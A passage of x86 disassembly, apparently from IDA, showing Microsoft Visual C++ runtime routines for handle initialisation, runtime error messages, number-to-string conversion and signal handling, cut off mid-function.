XREF: sub_431F50+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_422B50 add esp, 0Ch mov ecx, [ebp+var_18] push ecx nop call near ptr 29D1775h mov eax, [ebp+var_C] jmp short loc_432165 ; --------------------------------------------------------------------------- loc_432163: ; CODE XREF: sub_431F50+165j xor eax, eax loc_432165: ; CODE XREF: sub_431F50+55j ; sub_431F50+7Ej ... mov esp, ebp pop ebp retn sub_431F50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432170 proc near ; CODE XREF: .XComp0:004248BEp var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_16 = dword ptr -16h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 6Ch push 81h push offset dword_43F3D0 push 2 push 480h call sub_41EDD0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_4321A2 push 1Bh call sub_424980 add esp, 4 loc_4321A2: ; CODE XREF: sub_432170+26j mov eax, [ebp+var_50] mov dword_4E95A0, eax mov dword_4E96A0, 20h jmp short loc_4321BF ; --------------------------------------------------------------------------- loc_4321B6: ; CODE XREF: sub_432170+81j mov ecx, [ebp+var_50] add ecx, 24h mov [ebp+var_50], ecx loc_4321BF: ; CODE XREF: sub_432170+44j mov edx, dword_4E95A0 add edx, 480h cmp [ebp+var_50], edx jnb short loc_4321F3 mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_4321B6 ; --------------------------------------------------------------------------- loc_4321F3: ; CODE XREF: sub_432170+5Ej lea ecx, [ebp+var_48] push ecx call near ptr 2930000h nop mov edx, [ebp+var_16] and edx, 0FFFFh test edx, edx jz loc_432395 cmp [ebp+var_16+2], 0 jz loc_432395 mov eax, [ebp+var_16+2] mov ecx, [eax] mov [ebp+var_64], ecx mov edx, [ebp+var_16+2] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] add eax, [ebp+var_64] mov [ebp+var_60], eax cmp [ebp+var_64], 800h jge short loc_432243 mov ecx, [ebp+var_64] mov [ebp+var_68], ecx jmp short loc_43224A ; --------------------------------------------------------------------------- loc_432243: ; CODE XREF: sub_432170+C9j mov [ebp+var_68], 800h loc_43224A: ; CODE XREF: sub_432170+D1j mov edx, [ebp+var_68] mov [ebp+var_64], edx mov [ebp+var_5C], 1 jmp short loc_432262 ; --------------------------------------------------------------------------- loc_432259: ; CODE XREF: sub_432170:loc_4322FDj mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_432262: ; CODE XREF: sub_432170+E7j mov ecx, dword_4E96A0 cmp ecx, [ebp+var_64] jge loc_432302 push 0B6h push offset dword_43F3D0 push 2 push 480h call sub_41EDD0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_43229E mov edx, dword_4E96A0 mov [ebp+var_64], edx jmp short loc_432302 ; --------------------------------------------------------------------------- loc_43229E: ; CODE XREF: sub_432170+121j mov eax, [ebp+var_5C] mov ecx, [ebp+var_50] mov dword_4E95A0[eax*4], ecx mov edx, dword_4E96A0 add edx, 20h mov dword_4E96A0, edx jmp short loc_4322C5 ; --------------------------------------------------------------------------- loc_4322BC: ; CODE XREF: sub_432170+18Bj mov eax, [ebp+var_50] add eax, 24h mov [ebp+var_50], eax loc_4322C5: ; CODE XREF: sub_432170+14Aj mov ecx, [ebp+var_5C] mov edx, dword_4E95A0[ecx*4] add edx, 480h cmp [ebp+var_50], edx jnb short loc_4322FD mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_4322BC ; --------------------------------------------------------------------------- loc_4322FD: ; CODE XREF: sub_432170+168j jmp loc_432259 ; --------------------------------------------------------------------------- loc_432302: ; CODE XREF: sub_432170+FBj ; sub_432170+12Cj mov [ebp+var_58], 0 jmp short loc_432326 ; --------------------------------------------------------------------------- loc_43230B: ; CODE XREF: sub_432170:loc_432390j mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_60] add eax, 4 mov [ebp+var_60], eax loc_432326: ; CODE XREF: sub_432170+199j mov ecx, [ebp+var_58] cmp ecx, [ebp+var_64] jge short loc_432395 mov edx, [ebp+var_60] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_432390 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] and ecx, 1 test ecx, ecx jz short loc_432390 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_432360 mov ecx, [ebp+var_60] mov edx, [ecx] push edx call near ptr 2770A41h nop test eax, eax jz short loc_432390 loc_432360: ; CODE XREF: sub_432170+1DEj mov eax, [ebp+var_58] sar eax, 5 mov ecx, [ebp+var_58] and ecx, 1Fh imul ecx, 24h mov edx, dword_4E95A0[eax*4] add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax+4], dl loc_432390: ; CODE XREF: sub_432170+1C4j ; sub_432170+1D1j ... jmp loc_43230B ; --------------------------------------------------------------------------- loc_432395: ; CODE XREF: sub_432170+98j ; sub_432170+A2j ... mov [ebp+var_58], 0 jmp short loc_4323A7 ; --------------------------------------------------------------------------- loc_43239E: ; CODE XREF: sub_432170:loc_43247Fj mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_4323A7: ; CODE XREF: sub_432170+22Cj cmp [ebp+var_58], 3 jge loc_432484 mov ecx, [ebp+var_58] imul ecx, 24h mov edx, dword_4E95A0 add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_432470 mov ecx, [ebp+var_50] mov byte ptr [ecx+4], 81h cmp [ebp+var_58], 0 jnz short loc_4323E4 mov [ebp+var_6C], 0FFFFFFF6h jmp short loc_4323F4 ; --------------------------------------------------------------------------- loc_4323E4: ; CODE XREF: sub_432170+269j mov edx, [ebp+var_58] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp+var_6C], edx loc_4323F4: ; CODE XREF: sub_432170+272j mov eax, [ebp+var_6C] push eax nop call near ptr 2940000h mov [ebp+var_4C], eax cmp [ebp+var_4C], 0FFFFFFFFh jz short loc_43245F mov ecx, [ebp+var_4C] push ecx call near ptr 2770A41h nop mov [ebp+var_54], eax cmp [ebp+var_54], 0 jz short loc_43245F mov edx, [ebp+var_50] mov eax, [ebp+var_4C] mov [edx], eax mov ecx, [ebp+var_54] and ecx, 0FFh cmp ecx, 2 jnz short loc_432440 mov edx, [ebp+var_50] mov al, [edx+4] or al, 40h mov ecx, [ebp+var_50] mov [ecx+4], al jmp short loc_43245D ; --------------------------------------------------------------------------- loc_432440: ; CODE XREF: sub_432170+2BEj mov edx, [ebp+var_54] and edx, 0FFh cmp edx, 3 jnz short loc_43245D mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 8 mov edx, [ebp+var_50] mov [edx+4], cl loc_43245D: ; CODE XREF: sub_432170+2CEj ; sub_432170+2DCj jmp short loc_43246E ; --------------------------------------------------------------------------- loc_43245F: ; CODE XREF: sub_432170+295j ; sub_432170+2A8j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 40h mov edx, [ebp+var_50] mov [edx+4], cl loc_43246E: ; CODE XREF: sub_432170:loc_43245Dj jmp short loc_43247F ; --------------------------------------------------------------------------- loc_432470: ; CODE XREF: sub_432170+258j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 80h mov edx, [ebp+var_50] mov [edx+4], cl loc_43247F: ; CODE XREF: sub_432170:loc_43246Ej jmp loc_43239E ; --------------------------------------------------------------------------- loc_432484: ; CODE XREF: sub_432170+23Bj mov eax, dword_4E96A0 push eax call near ptr 2770E7Ah nop mov esp, ebp pop ebp retn sub_432170 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_4324B8 ; --------------------------------------------------------------------------- loc_4324AF: ; CODE XREF: .XComp0:loc_432532j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_4324B8: ; CODE XREF: .XComp0:004324ADj cmp dword ptr [ebp-8], 40h jge short loc_432537 mov ecx, [ebp-8] cmp dword_4E95A0[ecx*4], 0 jz short loc_432532 mov edx, [ebp-8] mov eax, dword_4E95A0[edx*4] mov [ebp-4], eax jmp short loc_4324E3 ; --------------------------------------------------------------------------- loc_4324DA: ; CODE XREF: .XComp0:loc_43250Dj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_4324E3: ; CODE XREF: .XComp0:004324D8j mov edx, [ebp-8] mov eax, dword_4E95A0[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_43250F mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_43250D mov edx, [ebp-4] add edx, 0Ch push edx nop call near ptr 2800913h loc_43250D: ; CODE XREF: .XComp0:004324FEj jmp short loc_4324DA ; --------------------------------------------------------------------------- loc_43250F: ; CODE XREF: .XComp0:004324F5j push 2 mov eax, [ebp-8] mov ecx, dword_4E95A0[eax*4] push ecx call sub_41F970 add esp, 8 mov edx, [ebp-8] mov dword_4E95A0[edx*4], 0 loc_432532: ; CODE XREF: .XComp0:004324C9j jmp loc_4324AF ; --------------------------------------------------------------------------- loc_432537: ; CODE XREF: .XComp0:004324BCj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432540 proc near ; CODE XREF: sub_424980+Cp ; sub_4249B0+Cp push ebp mov ebp, esp cmp dword_4E924C, 1 jz short loc_43255E cmp dword_4E924C, 0 jnz short loc_432587 cmp dword_44FF44, 1 jnz short loc_432587 loc_43255E: ; CODE XREF: sub_432540+Aj push 0FCh call sub_432590 add esp, 4 cmp dword_4E9408, 0 jz short loc_43257A call dword_4E9408 loc_43257A: ; CODE XREF: sub_432540+32j push 0FFh call sub_432590 add esp, 4 loc_432587: ; CODE XREF: sub_432540+13j ; sub_432540+1Cj pop ebp retn sub_432540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432590 proc near ; CODE XREF: sub_424980+15p ; sub_4249B0+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi push edi mov [ebp+var_8], 0 jmp short loc_4325AE ; --------------------------------------------------------------------------- loc_4325A5: ; CODE XREF: sub_432590:loc_4325C5j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4325AE: ; CODE XREF: sub_432590+13j cmp [ebp+var_8], 12h jnb short loc_4325C7 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] cmp edx, dword_452AC8[ecx*8] jnz short loc_4325C5 jmp short loc_4325C7 ; --------------------------------------------------------------------------- loc_4325C5: ; CODE XREF: sub_432590+31j jmp short loc_4325A5 ; --------------------------------------------------------------------------- loc_4325C7: ; CODE XREF: sub_432590+22j ; sub_432590+33j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, dword_452AC8[eax*8] jnz loc_432748 cmp [ebp+arg_0], 0FCh jz short loc_432604 mov edx, [ebp+var_8] mov eax, off_452ACC[edx*8] push eax push 0 push 0 push 0 push 1 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_432604 int 3 ; Trap to Debugger loc_432604: ; CODE XREF: sub_432590+51j ; sub_432590+71j cmp dword_4E924C, 1 jz short loc_43261F cmp dword_4E924C, 0 jnz short loc_432658 cmp dword_44FF44, 1 jnz short loc_432658 loc_43261F: ; CODE XREF: sub_432590+7Bj push 0 lea ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, off_452ACC[edx*8] push eax call sub_41EBD0 add esp, 4 push eax mov ecx, [ebp+var_8] mov edx, off_452ACC[ecx*8] push edx push 0FFFFFFF4h nop call near ptr 2940000h push eax nop call near ptr 2810000h jmp loc_432748 ; --------------------------------------------------------------------------- loc_432658: ; CODE XREF: sub_432590+84j ; sub_432590+8Dj cmp [ebp+arg_0], 0FCh jz loc_432748 push 104h lea eax, [ebp+var_110] push eax push 0 nop call near ptr 2790000h test eax, eax jnz short loc_432691 push offset aProgramNameUnk ; "<program name unknown>" lea ecx, [ebp+var_110] push ecx call sub_422580 add esp, 8 loc_432691: ; CODE XREF: sub_432590+EBj lea edx, [ebp+var_110] mov [ebp+var_C], edx mov eax, [ebp+var_C] push eax call sub_41EBD0 add esp, 4 add eax, 1 cmp eax, 3Ch jbe short loc_4326DA lea ecx, [ebp+var_110] push ecx call sub_41EBD0 add esp, 4 mov edx, [ebp+var_C] lea eax, [edx+eax-3Bh] mov [ebp+var_C], eax push 3 push offset a___ ; "..." mov ecx, [ebp+var_C] push ecx call sub_421470 add esp, 0Ch loc_4326DA: ; CODE XREF: sub_432590+11Cj push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " lea edx, [ebp+var_1B0] push edx call sub_422580 add esp, 8 mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_1B0] push ecx call sub_422590 add esp, 8 push offset asc_43EEE8 ; "\n\n" lea edx, [ebp+var_1B0] push edx call sub_422590 add esp, 8 mov eax, [ebp+var_8] mov ecx, off_452ACC[eax*8] push ecx lea edx, [ebp+var_1B0] push edx call sub_422590 add esp, 8 push 12010h push offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library" lea eax, [ebp+var_1B0] push eax call sub_433100 add esp, 0Ch loc_432748: ; CODE XREF: sub_432590+44j ; sub_432590+C3j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_432590 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov dword ptr [ebp-4], 0 jmp short loc_432766 ; --------------------------------------------------------------------------- loc_43275D: ; CODE XREF: .XComp0:loc_43277Dj mov eax, [ebp-4] add eax, 1 mov [ebp-4], eax loc_432766: ; CODE XREF: .XComp0:0043275Bj cmp dword ptr [ebp-4], 12h jnb short loc_43277F mov ecx, [ebp-4] mov edx, [ebp+8] cmp edx, dword_452AC8[ecx*8] jnz short loc_43277D jmp short loc_43277F ; --------------------------------------------------------------------------- loc_43277D: ; CODE XREF: .XComp0:00432779j jmp short loc_43275D ; --------------------------------------------------------------------------- loc_43277F: ; CODE XREF: .XComp0:0043276Aj ; .XComp0:0043277Bj mov eax, [ebp-4] mov ecx, [ebp+8] cmp ecx, dword_452AC8[eax*8] jnz short loc_43279A mov edx, [ebp-4] mov eax, off_452ACC[edx*8] jmp short loc_43279C ; --------------------------------------------------------------------------- loc_43279A: ; CODE XREF: .XComp0:0043278Cj xor eax, eax loc_43279C: ; CODE XREF: .XComp0:00432798j mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4327A0 proc near ; CODE XREF: sub_424B10+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_425990 add esp, 4 mov [ebp+var_8], 3 jmp short loc_4327C9 ; --------------------------------------------------------------------------- loc_4327C0: ; CODE XREF: sub_4327A0:loc_432864j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4327C9: ; CODE XREF: sub_4327A0+1Ej mov ecx, [ebp+var_8] cmp ecx, dword_4EA900 jge loc_432869 mov edx, [ebp+var_8] mov eax, dword_4E98F4 cmp dword ptr [eax+edx*4], 0 jz short loc_432864 mov ecx, [ebp+var_8] mov edx, dword_4E98F4 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_432821 mov edx, [ebp+var_8] mov eax, dword_4E98F4 mov ecx, [eax+edx*4] push ecx call sub_41EC50 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_432821 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_432821: ; CODE XREF: sub_4327A0+5Dj ; sub_4327A0+76j cmp [ebp+var_8], 14h jl short loc_432864 mov eax, [ebp+var_8] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] add edx, 20h push edx nop call near ptr 2800913h push 2 mov eax, [ebp+var_8] mov ecx, dword_4E98F4 mov edx, [ecx+eax*4] push edx call sub_41F970 add esp, 8 mov eax, [ebp+var_8] mov ecx, dword_4E98F4 mov dword ptr [ecx+eax*4], 0 loc_432864: ; CODE XREF: sub_4327A0+44j ; sub_4327A0+85j jmp loc_4327C0 ; --------------------------------------------------------------------------- loc_432869: ; CODE XREF: sub_4327A0+32j push 2 call sub_425A30 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4327A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432880 proc near ; CODE XREF: sub_424D20+31Dp ; sub_436FC0+1EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_4328A7 cmp [ebp+arg_0], 0 jge short loc_4328A7 push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4328D0 add esp, 10h jmp short loc_4328BD ; --------------------------------------------------------------------------- loc_4328A7: ; CODE XREF: sub_432880+7j ; sub_432880+Dj push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_4328D0 add esp, 10h loc_4328BD: ; CODE XREF: sub_432880+25j mov eax, [ebp+arg_4] pop ebp retn sub_432880 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4328D0 proc near ; CODE XREF: sub_432880+1Dp ; sub_432880+35p ... var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+arg_C], 0 jz short loc_4328F9 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov [ebp+arg_0], eax loc_4328F9: ; CODE XREF: sub_4328D0+10j mov ecx, [ebp+var_4] mov [ebp+var_8], ecx loc_4328FF: ; CODE XREF: sub_4328D0+79j mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+var_C], edx mov eax, [ebp+arg_0] xor edx, edx div [ebp+arg_8] mov [ebp+arg_0], eax cmp [ebp+var_C], 9 jbe short loc_432931 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_432945 ; --------------------------------------------------------------------------- loc_432931: ; CODE XREF: sub_4328D0+49j mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_432945: ; CODE XREF: sub_4328D0+5Fj cmp [ebp+arg_0], 0 ja short loc_4328FF mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_43295A: ; CODE XREF: sub_4328D0+BCj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_43295A mov esp, ebp pop ebp retn sub_4328D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+10h], 0Ah jnz short loc_4329B9 cmp dword ptr [ebp+8], 0 jge short loc_4329B9 mov dword ptr [ebp-4], 1 jmp short loc_4329C0 ; --------------------------------------------------------------------------- loc_4329B9: ; CODE XREF: .XComp0:004329A8j ; .XComp0:004329AEj mov dword ptr [ebp-4], 0 loc_4329C0: ; CODE XREF: .XComp0:004329B7j mov eax, [ebp-4] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4328D0 add esp, 10h mov eax, [ebp+0Ch] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_4328D0 add esp, 10h mov eax, [ebp+0Ch] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+14h], 0Ah jnz short loc_432A21 cmp dword ptr [ebp+0Ch], 0 jg short loc_432A21 jl short loc_432A18 cmp dword ptr [ebp+8], 0 jnb short loc_432A21 loc_432A18: ; CODE XREF: .XComp0:00432A10j mov dword ptr [ebp-4], 1 jmp short loc_432A28 ; --------------------------------------------------------------------------- loc_432A21: ; CODE XREF: .XComp0:00432A08j ; .XComp0:00432A0Ej ... mov dword ptr [ebp-4], 0 loc_432A28: ; CODE XREF: .XComp0:00432A1Fj mov eax, [ebp-4] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_432A50 mov eax, [ebp+10h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A50 proc near ; CODE XREF: .XComp0:00432A3Cp ; .XComp0:00432B65p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_8] mov [ebp+var_4], eax cmp [ebp+arg_10], 0 jz short loc_432A84 mov ecx, [ebp+var_4] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] neg eax mov ecx, [ebp+arg_4] adc ecx, 0 neg ecx mov [ebp+arg_0], eax mov [ebp+arg_4], ecx loc_432A84: ; CODE XREF: sub_432A50+10j mov edx, [ebp+var_4] mov [ebp+var_8], edx loc_432A8A: ; CODE XREF: sub_432A50+9Fj ; sub_432A50+A7j mov eax, [ebp+arg_C] xor ecx, ecx push ecx push eax mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4241B0 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] xor edx, edx push edx push ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_424140 mov [ebp+arg_0], eax mov [ebp+arg_4], edx cmp [ebp+var_C], 9 jbe short loc_432AD7 mov edx, [ebp+var_C] add edx, 57h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_432AEB ; --------------------------------------------------------------------------- loc_432AD7: ; CODE XREF: sub_432A50+6Fj mov edx, [ebp+var_C] add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_432AEB: ; CODE XREF: sub_432A50+85j cmp [ebp+arg_4], 0 ja short loc_432A8A jb short loc_432AF9 cmp [ebp+arg_0], 0 ja short loc_432A8A loc_432AF9: ; CODE XREF: sub_432A50+A1j mov edx, [ebp+var_4] mov byte ptr [edx], 0 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_432B08: ; CODE XREF: sub_432A50+EAj mov ecx, [ebp+var_4] mov dl, [ecx] mov [ebp+var_10], dl mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+var_8] mov cl, [ebp+var_10] mov [eax], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp ecx, [ebp+var_4] jb short loc_432B08 mov esp, ebp pop ebp retn 14h sub_432A50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_432A50 mov eax, [ebp+10h] pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_432B83 cmp dword ptr [ebp+0Ch], 3 jnz short loc_432B88 loc_432B83: ; CODE XREF: .XComp0:00432B7Bj jmp loc_432D58 ; --------------------------------------------------------------------------- loc_432B88: ; CODE XREF: .XComp0:00432B81j cmp dword ptr [ebp+8], 2 jz short loc_432BA4 cmp dword ptr [ebp+8], 15h jz short loc_432BA4 cmp dword ptr [ebp+8], 16h jz short loc_432BA4 cmp dword ptr [ebp+8], 0Fh jnz loc_432C81 loc_432BA4: ; CODE XREF: .XComp0:00432B8Cj ; .XComp0:00432B92j ... push 1 call sub_425990 add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_432BBA cmp dword ptr [ebp+8], 15h jnz short loc_432BFF loc_432BBA: ; CODE XREF: .XComp0:00432BB2j cmp dword_4E941C, 0 jnz short loc_432BFF push 1 push offset sub_432DA0 nop call near ptr 27706D8h cmp eax, 1 jnz short loc_432BE1 mov dword_4E941C, 1 jmp short loc_432BFF ; --------------------------------------------------------------------------- loc_432BE1: ; CODE XREF: .XComp0:00432BD3j call near ptr 27A0A66h nop mov esi, eax call sub_42C1F0 mov [eax], esi push 1 call sub_425A30 add esp, 4 jmp loc_432D58 ; --------------------------------------------------------------------------- loc_432BFF: ; CODE XREF: .XComp0:00432BB8j ; .XComp0:00432BC1j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_432C72 mov eax, [ebp-10h] xor edx, edx mov dl, byte_432D7F[eax] jmp off_432D6B[edx*4] loc_432C26: ; DATA XREF: .XComp0:off_432D6Bo mov ecx, dword_4E940C mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4E940C, edx jmp short loc_432C72 ; --------------------------------------------------------------------------- loc_432C3A: ; CODE XREF: .XComp0:00432C1Fj ; DATA XREF: .XComp0:00432D73o mov eax, dword_4E9410 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4E9410, ecx jmp short loc_432C72 ; --------------------------------------------------------------------------- loc_432C4D: ; CODE XREF: .XComp0:00432C1Fj ; DATA XREF: .XComp0:00432D77o mov edx, dword_4E9414 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4E9414, eax jmp short loc_432C72 ; --------------------------------------------------------------------------- loc_432C60: ; CODE XREF: .XComp0:00432C1Fj ; DATA XREF: .XComp0:00432D6Fo mov ecx, dword_4E9418 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4E9418, edx loc_432C72: ; CODE XREF: .XComp0:00432C12j ; .XComp0:00432C1Fj ... push 1 call sub_425A30 add esp, 4 jmp loc_432D53 ; --------------------------------------------------------------------------- loc_432C81: ; CODE XREF: .XComp0:00432B9Ej cmp dword ptr [ebp+8], 8 jz short loc_432C98 cmp dword ptr [ebp+8], 4 jz short loc_432C98 cmp dword ptr [ebp+8], 0Bh jz short loc_432C98 jmp loc_432D58 ; --------------------------------------------------------------------------- loc_432C98: ; CODE XREF: .XComp0:00432C85j ; .XComp0:00432C8Bj ... call sub_42B630 mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_452A18 jnz short loc_432CF5 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_452A98 push ecx call sub_41EDD0 add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_432CF3 mov ecx, dword_452A98 push ecx push offset dword_452A18 mov edx, [ebp-4] mov eax, [edx+50h] push eax call sub_422B50 add esp, 0Ch jmp short loc_432CF5 ; --------------------------------------------------------------------------- loc_432CF3: ; CODE XREF: .XComp0:00432CD4j jmp short loc_432D58 ; --------------------------------------------------------------------------- loc_432CF5: ; CODE XREF: .XComp0:00432CAAj 